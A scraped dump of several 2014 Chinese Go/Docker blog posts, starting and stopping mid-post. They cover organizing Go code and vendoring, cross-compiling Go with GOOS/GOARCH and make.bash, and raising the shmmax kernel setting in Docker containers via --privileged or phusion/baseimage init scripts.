fixhub\n.git\ndsymonds/fixhub/\n.git\nclient.go\ncmd/fixhub/fixhub.go # package main\ngo get获取多个源码库。\ngo install使用这些源码库构建一个二进制文件。\n4、为何要规定好文件布局\n在构建时使用文件布局意味着可以更少的进行配置。\n实际上，它意味着无配置。没有Makefile，没有build.xml。\n在配置上花的时间少了，意味着在编程上可以花更多的时间。\nGo社区中所有人都使用相同的布局，这会使得分享代码更加容易。\nGo工具在一定程度上对Go社区的建设起到了帮助作用。\n5、你的工作区在哪？\n你可以拥有多个工作区，但大多数人只使用一个。那么你如何设置GOPATH这个环境变量呢？一个普遍的选择是：\nGOPATH=$HOME\n这样设置会将src、bin和pkg目录放到你的Home目录下。（这会很方便，因为$HOME/bin可能已经在你的PATH环境变量中了）。\n6、在工作区下工作\nCDPATH=$GOPATH/src/github.com:$GOPATH/src/code.google.com/p\n$ cd dsymonds/fixhub\n/tmp/gows/src/github.com/dsymonds/fixhub\n$ cd goauth2\n/tmp/gows/src/code.google.com/p/goauth2\n$\n将下面shell函数放在你的~/.profile中：\ngocd () { cd `go list -f \u0026lsquo;{{.Dir}}\u0026rsquo; $1` }\n$ gocd …/lint\n/tmp/gows/src/github.com/golang/lint\n$\n三、依赖管理\n1、在生产环境中，版本很重要\ngo get总是获取最新版本代码，即使这些代码破坏了你的构建。\n这在开发阶段还好，但当你在发布阶段时，这将是一个问题。\n我们需要其他工具。\n2、版本****管理\n我最喜欢的技术：vendoring。\n当构建二进制程序时，将你关心的包导入到一个_vendor工作区。\nGOPATH=/tmp/gows/_vendor:/tmp/gows\n注：\n1、在build时，我们通过构建脚本，临时修改GOPATH（GOPATH := ${PWD}/_vendor:${GOPATH}）， 并将_vendor放置在主GOPATH前面，利用go build解析import包路径解析规则，go build优先得到_vendor下的第三方包信息，这样即便原GOPATH下有不同版本的相同第三方库，go build也会优先导入_vendor下的同名第三方库。\n2、go的相关工具在执行类似test这样的命令时会忽略前缀为_或.的目录，这样_vendor下的第三方库的test等操作将不会被执行。\n当构建库时，将你关心的包导入你的源码库。重命名import为：\nimport \u0026ldquo;github.com/you/proj/vendor/github.com/them/lib\u0026rdquo;\n长路径，不过对于自动化操作来说不算什么问题。写一个Go程序吧！\n另外一种技术：gopkg.in。提供带版本的包路径：\ngopkg.in/user/pkg.v3 -\u0026gt; github.com/user/pkg (branch/tag v3, v3.N, or v.3.N.M)\n四、命名\n1、命名很重要\n程序源码中充满着各种名字。名字兼具代价和收益。\n代价：空间与时间\n当阅读代码时，名字需要短时记忆\n你只能适应这么多，更长的名字需要占据更多的空间。\n收益：信息\n一个好名字不仅仅是一个指代对象，它还能够传达某种信息。\n使用尽可能最短的名字用于在上下文中携带合理数量的信息。\n在命名上花些时间（值得的）。\n2、命名样式\n使用camelCase，不要用下划线。\n本地变量名字应该短小，通常由1到2个字符组成。\n包名同行是一个小写词。\n全局变量应该拥有长度更长的名字。\n不要结巴！\n使用bytes.Buffer，不要用bytes.ByteBuffer\n使用zip.Reader，不要用zip.ZipReader\n使用errors.New，不要用errors.NewError\n使用r，不用bytesReader\n使用i，不用loopIterator\n3、文档化注释\n文档化注释放在导出标示符的声明之前：\n// Join concatenates the elements of elem to create a single string.\n// The separator string sep is placed between elements in the resulting string.\nfunc Join(elem []string, sep string) string {\ngodoc工具可以解析出这些注释并将其展示在Web上：\nfunc Join\nfunc Join (a []string, sep string) string\nJoin concatenates the elements of a to create a single string. The separetor string sep is placed between elements in the resulting string.\n4、写文档化的注释\n文档化的注释应用使用英文句子和段落。\n除了为预定义格式进行的缩进外，没有其他特殊格式。\n文档化注释应该以要描述的名词开头。\n// Join concatenates… good\n// This function… bad\n包的文档应该放在包声明语句之前：\n// Package fmt…\npackage fmt\n在godoc.org上阅读Go世界的文档，比如：\ngodoc.org/code.google.com/p/go.tools/cmd/vet\n","permalink":"https://tonybai.com/2014/10/21/organize-golang-code/","summary":"\u003cp\u003e本月初golang\u003ca href=\"http://blog.golang.org/\"\u003e官方blog\u003c/a\u003e(需要自己搭梯子)上发布了一篇\u003ca href=\"http://blog.golang.org/io2014\"\u003e文章\u003c/a\u003e，简要介绍了近几个月Go在一 些技术会议上（比如Google I/O、Gopher SummerFest等）的主题分享并伴有slide链接。其中David Crawshaw的“\u003ca href=\"https://talks.golang.org/2014/organizeio.slide#1\"\u003eOrganizing Go Code\u003c/a\u003e”对Golang的代码风格以及工程组 织的最佳实践进行的总结很是全面和到位，这里按Slide中的思路和内容翻译和摘录如下（部分伴有我个人的若干理解）。\u003c/p\u003e","title":"组织Golang代码"},{"content":"近期在某本书上看到Go跨平台交叉编译的强大功能，于是想自己测试一下。以下记录了测试过程以及一些结论，希望能给大家带来帮助。\n我的Linux环境如下：\nuname -a\nLinux ubuntu-Server-14 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux\n$ go version\ngo version go1.3.1 linux/amd64\n跨平台交叉编译涉及两个重要的环境变量：GOOS和GOARCH，分别代表Target Host OS和Target Host ARCH，如果没有显式设置这些环境变量，我们通过go env可以看到go编译器眼中这两个环境变量的当前值：\n$ go env\nGOARCH=\u0026ldquo;amd64\u0026rdquo;\nGOOS=\u0026ldquo;linux\u0026rdquo;\nGOHOSTARCH=\u0026ldquo;amd64\u0026rdquo;\nGOHOSTOS=\u0026ldquo;linux\u0026rdquo;\n… …\n这里还有两个变量GOHOSTOS和GOHOSTARCH，分别表示的是当前所在主机的的OS和CPU ARCH。我的Go是采用安装包安装的，因此默认情况下，这两组环境变量的值都是来自当前主机的信息。\n现在我们就来交叉编译一下：在linux/amd64平台下利用Go编译器编译一个可以运行在linux/amd64下的程序，样例程序如下：\n//testport.go\npackage main\nimport (\n\u0026ldquo;fmt\u0026rdquo;\n\u0026ldquo;os/exec\u0026rdquo;\n\u0026ldquo;bytes\u0026rdquo;\n)\nfunc main() {\ncmd := exec.Command(\u0026ldquo;uname\u0026rdquo;, \u0026ldquo;-a\u0026rdquo;)\nvar out bytes.Buffer\ncmd.Stdout = \u0026amp;out\nerr := cmd.Run()\nif err != nil {\nfmt.Println(\u0026ldquo;Err when executing uname command\u0026rdquo;)\nreturn\n}\nfmt.Println(\u0026ldquo;I am running on\u0026rdquo;, out.String())\n}\n在Linux/amd64下编译运行：\n$ go build -o testport_linux testport.go\n$ testport_linux\nI am running on Linux ubuntu-Server-14 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux\n接下来，我们来尝试在Linux/amd64上编译一个可以运行在darwin/amd64上的程序。我只需修改GOOS和GOARCH两个标识目标主机OS和ARCH的环境变量：\n$ GOOS=darwin GOARCH=amd64 go build -o testport_darwin testport.go\ngo build runtime: darwin/amd64 must be bootstrapped using make.bash\n编译器报错了！提示darwin/amd64必须通过make.bash重新装载。显然，通过安装包安装到linux/amd64下的Go编译器还无法直接交叉编译出darwin/amd64下可以运行的程序，我们需要做一些准备工作。我们找找make.bash在哪里！\n我们到Go的$GOROOT路径下去找make.bash，Go的安装路径下的组织很简约，扫一眼便知make.sh大概在$GOROOT/src下，打开make.sh，我们在文件头处看到如下一些内容：\n# Environment variables that control make.bash:\n# GOROOT_FINAL: The expected final Go root, baked into binaries.\n# The default is the location of the Go tree during the build.\n# GOHOSTARCH: The architecture for host tools (compilers and\n# binaries). Binaries of this type must be executable on the current\n# system, so the only common reason to set this is to set\n# GOHOSTARCH=386 on an amd64 machine.\n# GOARCH: The target architecture for installed packages and tools.\n# GOOS: The target operating system for installed packages and tools.\n… …\nmake.bash头并未简要说明文件的用途，但名为make.xx的文件想必是用来构建Go编译工具的。这里提到几个环境变量可以控制 make.bash的行为，显然GOARCH和GOOS更能引起我们的兴趣。我们再回过头来输出testport.go编译过程的详细信息：\n$ go build -x -o testport_linux testport.go\nWORK=/tmp/go-build286732099\nmkdir -p $WORK/command-line-arguments/_obj/\ncd /home/tonybai/Test/Go/porting\n/usr/local/go/pkg/tool/linux_amd64/6g -o $WORK/command-line-arguments.a -trimpath $WORK -p command-line-arguments -complete -D _/home/tonybai/Test/Go/porting -I $WORK -pack ./testport.go\ncd .\n/usr/local/go/pkg/tool/linux_amd64/6l -o testport_linux -L $WORK -extld=gcc $WORK/command-line-arguments.a\n我们发现Go实际上用的是$GOROOT/pkg/tool/linux_amd64下的6g（编译器）和6l（链接器）来完成整个编译过程的，看到6g 和6l所在目录名为linux_amd64，我们可以大胆猜测编译darwin/amd64 go程序应该使用的是$GOROOT/pkg/tool/darwin_amd64下的工具。不过在我在$GOROOT/pkg/tool下没有发现 darwin_amd64目录，也就是说我们通过安装包安装的Go仅自带了for linux_amd64的编译工具，要想交叉编译出for darwin_amd64的程序，我们需要通过make.bash来手工编译出这些工具。\ntonybai@ubuntu-Server-14:/usr/local/go/pkg$ ls\nlinux_amd64 linux_amd64_race obj tool\ntonybai@ubuntu-Server-14:/usr/local/go/pkg/tool$ ls\nlinux_amd64\n根据前面make.bash的用法说明，我们来尝试构建一下：\ncd $GOROOT/src\nsudo GOOS=darwin GOARCH=amd64 ./make.bash\n# Building C bootstrap tool.\ncmd/dist\n# Building compilers and Go bootstrap tool for host, linux/amd64.\n… …\ncmd/cc\ncmd/gc\ncmd/6l\ncmd/6a\ncmd/6c\ncmd/6g\npkg/runtime\n… …\ncmd/go\npkg/runtime (darwin/amd64)\n# Building packages and commands for host, linux/amd64.\nruntime\n… …\ntext/scanner\n# Building packages and commands for darwin/amd64.\nruntime\nerrors\n… …\ntesting/quick\ntext/scanner\n—\nInstalled Go for darwin/amd64 in /usr/local/go\nInstalled commands in /usr/local/go/bin\n编译后，我们再来试试编译for darwin_amd64的程序：\n$ GOOS=darwin GOARCH=amd64 go build -x -o testport_darwin testport.go\nWORK=/tmp/go-build972764136\nmkdir -p $WORK/command-line-arguments/_obj/\ncd /home/tonybai/Test/Go/porting\n/usr/local/go/pkg/tool/linux_amd64/6g -o $WORK/command-line-arguments.a -trimpath $WORK -p command-line-arguments -complete -D _/home/tonybai/Test/Go/porting -I $WORK -pack ./testport.go\ncd .\n/usr/local/go/pkg/tool/linux_amd64/6l -o testport_darwin -L $WORK -extld=gcc $WORK/command-line-arguments.a\n将文件copy到我的Mac Air下执行：\n$chmod +x testport_darwin\n$testport_darwin\nI am running on Darwin TonydeMacBook-Air.local 13.1.0 Darwin Kernel Version 13.1.0: Thu Jan 16 19:40:37 PST 2014; root:xnu-2422.90.20~2/RELEASE_X86_64 x86_64\n编译虽然成功了，但从-x输出的详细编译过程来看，Go编译连接使用的工具依旧是linux_amd64下的6g和6l，为什么没有使用darwin_amd64下的6g和6l呢？原来$GOROOT/pkg/tool/darwin_amd64下根本就没有6g和6l：\n/usr/local/go/pkg/tool/darwin_amd64$ ls\naddr2line cgo fix nm objdump pack yacc\n但查看一下pkg/tool/linux_amd64/下程序的更新时间：\n/usr/local/go/pkg/tool/linux_amd64$ ls -l\n… …\n-rwxr-xr-x 1 root root 2482877 10月 20 15:12 6g\n-rwxr-xr-x 1 root root 1186445 10月 20 15:12 6l\n… …\n我们发现6g和6l都是被刚才的make.bash新编译出来的，我们可以得出结论：新6g和新6l目前既可以编译本地程序（linux/amd64)，也可以编译darwin/amd64下的程序了，例如重新编译testport_linux依旧ok：\n$ go build -x -o testport_linux testport.go\nWORK=/tmp/go-build636762567\nmkdir -p $WORK/command-line-arguments/_obj/\ncd /home/tonybai/Test/Go/porting\n/usr/local/go/pkg/tool/linux_amd64/6g -o $WORK/command-line-arguments.a -trimpath $WORK -p command-line-arguments -complete -D _/home/tonybai/Test/Go/porting -I $WORK -pack ./testport.go\ncd .\n/usr/local/go/pkg/tool/linux_amd64/6l -o testport_linux -L $WORK -extld=gcc $WORK/command-line-arguments.a\n如果我们还想给Go编译器加上交叉编译windows/amd64程序的功能，我们再执行一次make.bash：\nsudo GOOS=windows GOARCH=amd64 ./make.bash\n编译成功后，我们来编译一下Windows程序：\n$ GOOS=windows GOARCH=amd64 go build -x -o testport_windows.exe testport.go\nWORK=/tmp/go-build626615350\nmkdir -p $WORK/command-line-arguments/_obj/\ncd /home/tonybai/Test/Go/porting\n/usr/local/go/pkg/tool/linux_amd64/6g -o $WORK/command-line-arguments.a -trimpath $WORK -p command-line-arguments -complete -D _/home/tonybai/Test/Go/porting -I $WORK -pack ./testport.go\ncd .\n/usr/local/go/pkg/tool/linux_amd64/6l -o testport_windows.exe -L $WORK -extld=gcc $WORK/command-line-arguments.a\n把testport_windows.exe扔到Windows上执行，结果：\nErr when executing uname command\n显然Windows下没有uname命令，提示执行出错。\n至此，我的Go编译器具备了在Linux下编译windows/amd64和darwin/amd64的能力。如果你还想增加其他平台的能力，就像上面那样操作执行make.bash即可。\n如果在go源文件中有与C语言的交互代码，那么交叉编译功能是否还能奏效呢？毕竟C在各个平台上的运行库、链接库等都是不同的。我们先来看看这个例子，我们使用之前在《探讨docker容器对共享内存的支持情况》一文中的一个例子：\n//testport_cgoenabled.go\npackage main\n//#include \u0026lt;stdio.h\u0026gt;\n//#include \u0026lt;sys/types.h\u0026gt;\n//#include \u0026lt;sys/mman.h\u0026gt;\n//#include \u0026lt;fcntl.h\u0026gt;\n//\n//#define SHMSZ 27\n//\n//int shm_rd()\n//{\n// char c;\n// char *shm = NULL;\n// char *s = NULL;\n// int fd;\n// if ((fd = open(\u0026quot;./shm.txt\u0026quot;, O_RDONLY)) == -1) {\n// return -1;\n// }\n//\n// shm = (char*)mmap(shm, SHMSZ, PROT_READ, MAP_SHARED, fd, 0);\n// if (!shm) {\n// return -2;\n// }\n//\n// close(fd);\n// s = shm;\n// int i = 0;\n// for (i = 0; i \u0026lt; SHMSZ – 1; i++) {\n// printf(\u0026quot;%c \u0026ldquo;, *(s + i));\n// }\n// printf(\u0026rdquo;\\n\u0026quot;);\n//\n// return 0;\n//}\nimport \u0026ldquo;C\u0026rdquo;\nimport \u0026ldquo;fmt\u0026rdquo;\nfunc main() {\ni := C.shm_rd()\nif i != 0 {\nfmt.Println(\u0026ldquo;Mmap Share Memory Read Error:\u0026rdquo;, i)\nreturn\n}\nfmt.Println(\u0026ldquo;Mmap Share Memory Read Ok\u0026rdquo;)\n}\n我们先编译出一个本地可运行的程序：\n$ go build -x -o testport_cgoenabled_linux testport_cgoenabled.go\nWORK=/tmp/go-build977176241\nmkdir -p $WORK/command-line-arguments/_obj/\ncd /home/tonybai/Test/Go/porting\nCGO_LDFLAGS=\u0026quot;-g\u0026quot; \u0026ldquo;-O2\u0026rdquo; /usr/local/go/pkg/tool/linux_amd64/cgo -objdir $WORK/command-line-arguments/_obj/ — -I $WORK/command-line-arguments/_obj/ testport_cgoenabled.go\n/usr/local/go/pkg/tool/linux_amd64/6c -F -V -w -trimpath $WORK -I $WORK/command-line-arguments/_obj/ -I /usr/local/go/pkg/linux_amd64 -o $WORK/command-line-arguments/_obj/_cgo_defun.6 -D GOOS_linux -D GOARCH_amd64 $WORK/command-line-arguments/_obj/_cgo_defun.c\ngcc -I . -fPIC -m64 -pthread -fmessage-length=0 -print-libgcc-file-name\ngcc -I . -fPIC -m64 -pthread -fmessage-length=0 -I $WORK/command-line-arguments/_obj/ -g -O2 -o $WORK/command-line-arguments/_obj/_cgo_main.o -c $WORK/command-line-arguments/_obj/_cgo_main.c\ngcc -I . -fPIC -m64 -pthread -fmessage-length=0 -I $WORK/command-line-arguments/_obj/ -g -O2 -o $WORK/command-line-arguments/_obj/_cgo_export.o -c $WORK/command-line-arguments/_obj/_cgo_export.c\ngcc -I . -fPIC -m64 -pthread -fmessage-length=0 -I $WORK/command-line-arguments/_obj/ -g -O2 -o $WORK/command-line-arguments/_obj/testport_cgoenabled.cgo2.o -c $WORK/command-line-arguments/_obj/testport_cgoenabled.cgo2.c\ngcc -I . -fPIC -m64 -pthread -fmessage-length=0 -o $WORK/command-line-arguments/_obj/_cgo_.o $WORK/command-line-arguments/_obj/_cgo_main.o $WORK/command-line-arguments/_obj/_cgo_export.o $WORK/command-line-arguments/_obj/testport_cgoenabled.cgo2.o -g -O2\n/usr/local/go/pkg/tool/linux_amd64/cgo -objdir $WORK/command-line-arguments/_obj/ -dynimport $WORK/command-line-arguments/_obj/_cgo_.o -dynout $WORK/command-line-arguments/_obj/_cgo_import.c\n/usr/local/go/pkg/tool/linux_amd64/6c -F -V -w -trimpath $WORK -I $WORK/command-line-arguments/_obj/ -I /usr/local/go/pkg/linux_amd64 -o $WORK/command-line-arguments/_obj/_cgo_import.6 -D GOOS_linux -D GOARCH_amd64 $WORK/command-line-arguments/_obj/_cgo_import.c\ngcc -I . -fPIC -m64 -pthread -fmessage-length=0 -o $WORK/command-line-arguments/_obj/_all.o $WORK/command-line-arguments/_obj/_cgo_export.o $WORK/command-line-arguments/_obj/testport_cgoenabled.cgo2.o -g -O2 -Wl,-r -nostdlib /usr/lib/gcc/x86_64-linux-gnu/4.8/libgcc.a\n/usr/local/go/pkg/tool/linux_amd64/6g -o $WORK/command-line-arguments.a -trimpath $WORK -p command-line-arguments -D _/home/tonybai/Test/Go/porting -I $WORK -pack $WORK/command-line-arguments/_obj/_cgo_gotypes.go $WORK/command-line-arguments/_obj/testport_cgoenabled.cgo1.go\npack r $WORK/command-line-arguments.a $WORK/command-line-arguments/_obj/_cgo_import.6 $WORK/command-line-arguments/_obj/_cgo_defun.6 $WORK/command-line-arguments/_obj/_all.o # internal\ncd .\n/usr/local/go/pkg/tool/linux_amd64/6l -o testport_cgoenabled_linux -L $WORK -extld=gcc $WORK/command-line-arguments.a\n输出了好多日志！不过可以看出Go编译器先调用CGO对Go源码中的C代码进行了编译，然后才是常规的Go编译，最后通过6l链接在一起。Cgo似乎直接使用了Gcc。我们再来试试跨平台编译：\n$ GOOS=darwin GOARCH=amd64 go build -x -o testport_cgoenabled_darwin testport_cgoenabled.go\nWORK=/tmp/go-build124869433\ncan\u0026rsquo;t load package: no buildable Go source files in /home/tonybai/Test/Go/porting\n当我们编译for Darwin/amd64平台的程序时，Go无法像之前那样的顺利完成编译，而是提示错误。从网上给出的资料来看，如果Go源码中包含C互操作代码，那么 目前依旧无法实现交叉编译，因为cgo会直接使用各个平台的本地c编译器去编译Go文件中的C代码。默认情况下，make.bash会置 CGO_ENABLED=0。\n如果你非要将CGO_ENABLED设置为1去编译go的话，至少我得到了如下错误，导致无法编译通过：\n$ sudo CGO_ENABLED=1 GOOS=darwin GOARCH=amd64 ./make.bash –no-clean\n… …\n# Building packages and commands for darwin/amd64.\n… …\n37: error: \u0026lsquo;AI_MASK\u0026rsquo; undeclared (first use in this function)\n","permalink":"https://tonybai.com/2014/10/20/cross-compilation-with-golang/","summary":"\u003cp\u003e近期在某本书上看到\u003ca href=\"http://golang.org/\"\u003eGo\u003c/a\u003e跨平台交叉编译的强大功能，于是想自己测试一下。以下记录了测试过程以及一些结论，希望能给大家带来帮助。\u003c/p\u003e\n\u003cp\u003e我的Linux环境如下：\u003c/p\u003e\n\u003cp\u003euname -a\u003cbr\u003e\nLinux ubuntu-Server-14 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux\u003c/p\u003e\n\u003cp\u003e$ go version\u003cbr\u003e\ngo version go1.3.1 linux/amd64\u003c/p\u003e\n\u003cp\u003e跨平台交叉编译涉及两个重要的环境变量：GOOS和GOARCH，分别代表Target Host OS和Target Host ARCH，如果没有显式设置这些环境变量，我们通过go env可以看到go编译器眼中这两个环境变量的当前值：\u003c/p\u003e","title":"Golang跨平台交叉编译"},{"content":"探讨完Docker对共享内存状态持久化的支持状况后，我将遗留产品build到一个pre-production image中，测试启动是否OK。很显然，我过于乐观了，Docker之路并不平坦。我收到了shmget报出的EINVAL错误码，提示参数非法。 shmget的manual对EINVAL错误码的说明如下：\nEINVAL：\nA new segment was to be created and size \u0026lt; SHMMIN or size \u0026gt; SHMMAX, or no new segment was to be created, a segment with given key existed, but size is greater than the size of that segment.\n显然我们要创建的shared memory的size很可能大于SHMMAX这个系统变量了。那么一个从base image创建出的容器中的系统变量到底是什么值呢？我们来查看一下，我们基于\u0026quot;centos:centos6\u0026quot;启动一个Docker容器，并检查其中的 系统变量值设置：\n$ sudo docker run -it \u0026ldquo;centos:centos6\u0026rdquo; /bin/bash\nbash-4.1# cat /proc/sys/kernel/shmmax\n33554432\nbash-4.1# sysctl -a|grep shmmax\nkernel.shmmax = 33554432\n可以看出默认情况下，当前容器中root账号看到的shmmax值我33554432， 我的程序要创建的shm size的确要大于这个值，报出EINVAL错误也就无可厚非了。我尝试按照物理机上的方法临时修改一下该值：\nbash-4.1# echo 68719476736 \u0026gt; /proc/sys/kernel/shmmax\nbash: /proc/sys/kernel/shmmax: Read-only file system\n/proc/sys/kernel/shmmax居然是只读的，无法修改。\n我又尝试修改/etc/sysctl.conf这个持久化系统变量的地方，但打开/etc/sysctl.conf文件，我发现我又错了，这 个文件中shmmax的值如下：\n# Controls the maximum shared segment size, in bytes\nkernel.shmmax = 68719476736\n/etc/sysctl.conf文件 中的系统变量shmmax的值是68719476736，而系统当前的实际值则是33554432，难道是/etc /sysctl.conf中的值没有生效，于是我手工重新加载一次该文件：\n-bash-4.1# sysctl -p\nerror: \u0026ldquo;Read-only file system\u0026rdquo; setting key \u0026ldquo;net.ipv4.ip_forward\u0026rdquo;\nerror: \u0026ldquo;Read-only file system\u0026rdquo; setting key \u0026ldquo;net.ipv4.conf.default.rp_filter\u0026rdquo;\nerror: \u0026ldquo;Read-only file system\u0026rdquo; setting key \u0026ldquo;net.ipv4.conf.default.accept_source_route\u0026rdquo;\nerror: \u0026ldquo;Read-only file system\u0026rdquo; setting key \u0026ldquo;kernel.sysrq\u0026rdquo;\nerror: \u0026ldquo;Read-only file system\u0026rdquo; setting key \u0026ldquo;kernel.core_uses_pid\u0026rdquo;\nerror: \u0026ldquo;net.ipv4.tcp_syncookies\u0026rdquo; is an unknown key\nerror: \u0026ldquo;net.bridge.bridge-nf-call-ip6tables\u0026rdquo; is an unknown key\nerror: \u0026ldquo;net.bridge.bridge-nf-call-iptables\u0026rdquo; is an unknown key\nerror: \u0026ldquo;net.bridge.bridge-nf-call-arptables\u0026rdquo; is an unknown key\nerror: \u0026ldquo;Read-only file system\u0026rdquo; setting key \u0026ldquo;kernel.msgmnb\u0026rdquo;\nerror: \u0026ldquo;Read-only file system\u0026rdquo; setting key \u0026ldquo;kernel.msgmax\u0026rdquo;\nerror: \u0026ldquo;Read-only file system\u0026rdquo; setting key \u0026ldquo;kernel.shmmax\u0026rdquo;\nerror: \u0026ldquo;Read-only file system\u0026rdquo; setting key \u0026ldquo;kernel.shmall\u0026rdquo;\n我得到了和之前类似的错误结果：只读文件系统，无法修改。于是乎两个问题萦绕在我的面前：\n1、为什么容器内当前系统变量值与sysctl.conf中的不一致？\n2、为什么无法修改当前系统变量值?\n在翻阅了Stackoverflow, github docker issues后，我得到了的答案如下：\n1、Docker的base image做的很精简，甚至都没有init进程，原本在OS启动时执行生效系统变量的过程(sysctl -p)也给省略了，导致这些系统变量依旧保留着kernel默认值。以CentOs为例，在linux kernel boot后，init都会执行/etc/rc.d/rc.sysinit，后者会加载/etc/sysctl.conf中的系统变量值。下面是 CentOs5.6中的rc.sysinit代码摘录：\n… …\n# Configure kernel parameters\nupdate_boot_stage RCkernelparam\nsysctl -e -p /etc/sysctl.conf \u0026gt;/dev/null 2\u0026gt;\u0026amp;1\n… …\n2、Docker容器中的系统变量在non-priviledged模式下目前(我使用的时docker 1.2.0版本)就无法修改，这 和resolv.conf、hosts等文件映射到宿主机对应的文件有不同。\n$ mount -l\n…. ….\n/dev/mapper/ubuntu–Server–14–vg-root on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n/dev/mapper/ubuntu–Server–14–vg-root on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n/dev/mapper/ubuntu–Server–14–vg-root on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)\n… …\n那么我们该如何修改系统变量值来满足遗留产品的需求呢？\n一、使用–privileged选项\n我们使用–privileged这个特权选项来启动一个基于centos:centos6的新容器，看看是否能对shmmax这样的系统变量值 进行修改：\n$ sudo docker run -it –privileged \u0026ldquo;centos:centos6\u0026rdquo; /bin/bash\nbash-4.1# cat /proc/sys/kernel/shmmax\n33554432\nbash-4.1# echo 68719476736 \u0026gt; /proc/sys/kernel/shmmax\nbash-4.1# cat /proc/sys/kernel/shmmax\n68719476736\nbash-4.1# sysctl -p\nnet.ipv4.ip_forward = 0\nnet.ipv4.conf.default.rp_filter = 1\nnet.ipv4.conf.default.accept_source_route = 0\nkernel.sysrq = 0\nkernel.core_uses_pid = 1\n… …\nkernel.msgmnb = 65536\nkernel.msgmax = 65536\nkernel.shmmax = 68719476736\nkernel.shmall = 4294967296\n可以看出，通过–privileged选项，容器获得了额外的特权，并且可以对系统变量的值进行修改了。不过这样的修改是不能保存在容器里的， 我们stop 容器，再重启该容器就能看出来：\n$ sudo docker start 3e22d65a7845\n$ sudo docker attach 3e22d65a7845\nbash-4.1# cat /proc/sys/kernel/shmmax\n33554432\nshmmax的值在容器重启后又变回了原先的那个默认值。不过重启后的容器依旧具有privileged的特权，我们还可以重新手工执行命令对系 统变量进行修改：\nbash-4.1# echo 68719476736 \u0026gt; /proc/sys/kernel/shmmax\nbash-4.1# cat /proc/sys/kernel/shmmax\n68719476736\n但即便这样，也无法满足我们的需求，我们总不能每次都在容器中手工执行系统变量值修改的操作吧。privileged选项的能力能否带到 image中呢？答案是目前还不能，我们无法在build image时通过privileged选项修改系统变量值。\n这样一来，我们能做的只有把产品启动与系统变量值修改放在一个脚本中了，并将该脚本作为docker 容器的cmd命令来执行，比如我们构建一个Dockerfile：\nFROM centos:centos6\nMAINTAINER Tony Bai bigwhite.cn@gmail.com\nRUN yum install python-setuptools -y\nRUN easy_install supervisor\nRUN mkdir -p /var/log/supervisor\nCOPY ./supervisord.conf /etc/supervisord.conf\nCOPY ./start.sh /bin/start.sh\nRUN chmod +x /bin/start.sh\nCMD [\u0026quot;/bin/start.sh]\n//start.sh\nsysctl -p\n/usr/bin/supervisord\n这样，start.sh在supervisord启动前将系统变量值重新加载，而supervisord后续启动的程序就可以看到这些新系统变量 的值了。不过别忘了利用这个image启动容器时要加上–priviledged选项，否则容器启动就会失败。\n二、使用phusion/baseimage\n前面说过/etc/sysctl.conf中的值没有生效是因为docker官方提供的centos:centos6把init进程的初始化过程给精 简掉了。phusion/baseimage是目前docker registery上仅次于ubuntu和centos两个之后的base image，其提供了/sbin/my_init这个init进程，用于在container充当init进程的角色。那么my_init是否可以用于执行sysctl -p呢？我们试验一下：\n我们先pull这个base image下来：sudo docker pull phusion/baseimage。pull成功后，我们先基于“phusion/baseimage”启动一个容器做一些explore工作：\n$ sudo docker run -i -t \u0026ldquo;phusion/baseimage\u0026rdquo;\n*** Running /etc/my_init.d/00_regen_ssh_host_keys.sh…\nNo SSH host key available. Generating one…\nCreating SSH2 RSA key; this may take some time …\nCreating SSH2 DSA key; this may take some time …\nCreating SSH2 ECDSA key; this may take some time …\nCreating SSH2 ED25519 key; this may take some time …\ninvoke-rc.d: policy-rc.d denied execution of restart.\n*** Running /etc/rc.local…\n*** Booting runit daemon…\n*** Runit started as PID 100\n通过nsenter进去，查看一下/sbin/my_init的源码，我们发现这是一个python脚本，不过从头到尾浏览一遍，没有发现sysctl加载/etc/sysctl.conf系统变量的操作。\n不过，phusion文档中说my_init可以在初始化过程中执行/etc/my_init.d下的脚本。那是不是我们将一个执行sysctl -p的脚本放入/etc/my_init.d下就可以实现我们的目的了呢？试试。\n我们编写一个脚本：load_sys_varibles.sh\n#!/bin/sh\nsysctl -p \u0026gt; init.txt\n下面是制作image的Dockerfile:\nFROM phusion/baseimage:latest\nMAINTAINER Tony Bai bigwhite.cn@gmail.com\nRUN echo \u0026ldquo;kernel.shmmax = 68719476736\u0026rdquo; \u0026raquo; /etc/sysctl.conf\nRUN mkdir -p /etc/my_init.d\nADD load_sys_varibles.sh /etc/my_init.d/load_sys_varibles.sh\nRUN chmod +x /etc/my_init.d/load_sys_varibles.sh\nCMD [\u0026quot;/sbin/my_init\u0026quot;]\nphusion/baseimage是基于ubuntu的OS，其sysctl.conf默认情况下没啥内容，所以我们在Dockerfile中向这个文件写入我们需要的系统变量值。构建image并启动容器：\n$ sudo docker build -t \u0026ldquo;myphusion:v1\u0026rdquo; ./\nSending build context to Docker daemon 13.12 MB\nSending build context to Docker daemon\nStep 0 : FROM phusion/baseimage:latest\n—\u0026gt; cf39b476aeec\nStep 1 : MAINTAINER Tony Bai bigwhite.cn@gmail.com\n—\u0026gt; Using cache\n—\u0026gt; d0e9b51a3e4f\nStep 2 : RUN echo \u0026ldquo;kernel.shmmax = 68719476736\u0026rdquo; \u0026raquo; /etc/sysctl.conf\n—\u0026gt; Using cache\n—\u0026gt; 2c800687cc83\nStep 3 : RUN mkdir -p /etc/my_init.d\n—\u0026gt; Using cache\n—\u0026gt; fe366eea5eb4\nStep 4 : ADD load_sys_varibles.sh /etc/my_init.d/load_sys_varibles.sh\n—\u0026gt; a641bb595fb9\nRemoving intermediate container c381b9f001c2\nStep 5 : RUN chmod +x /etc/my_init.d/load_sys_varibles.sh\n—\u0026gt; Running in 764866552f25\n—\u0026gt; eae3d7f1eac5\nRemoving intermediate container 764866552f25\nStep 6 : CMD [\u0026quot;/sbin/my_init\u0026quot;]\n—\u0026gt; Running in 9ab8d0b717a7\n—\u0026gt; 8be4e7b6b174\nRemoving intermediate container 9ab8d0b717a7\nSuccessfully built 8be4e7b6b174\n$ sudo docker run -it \u0026ldquo;myphusion:v1\u0026rdquo;\n*** Running 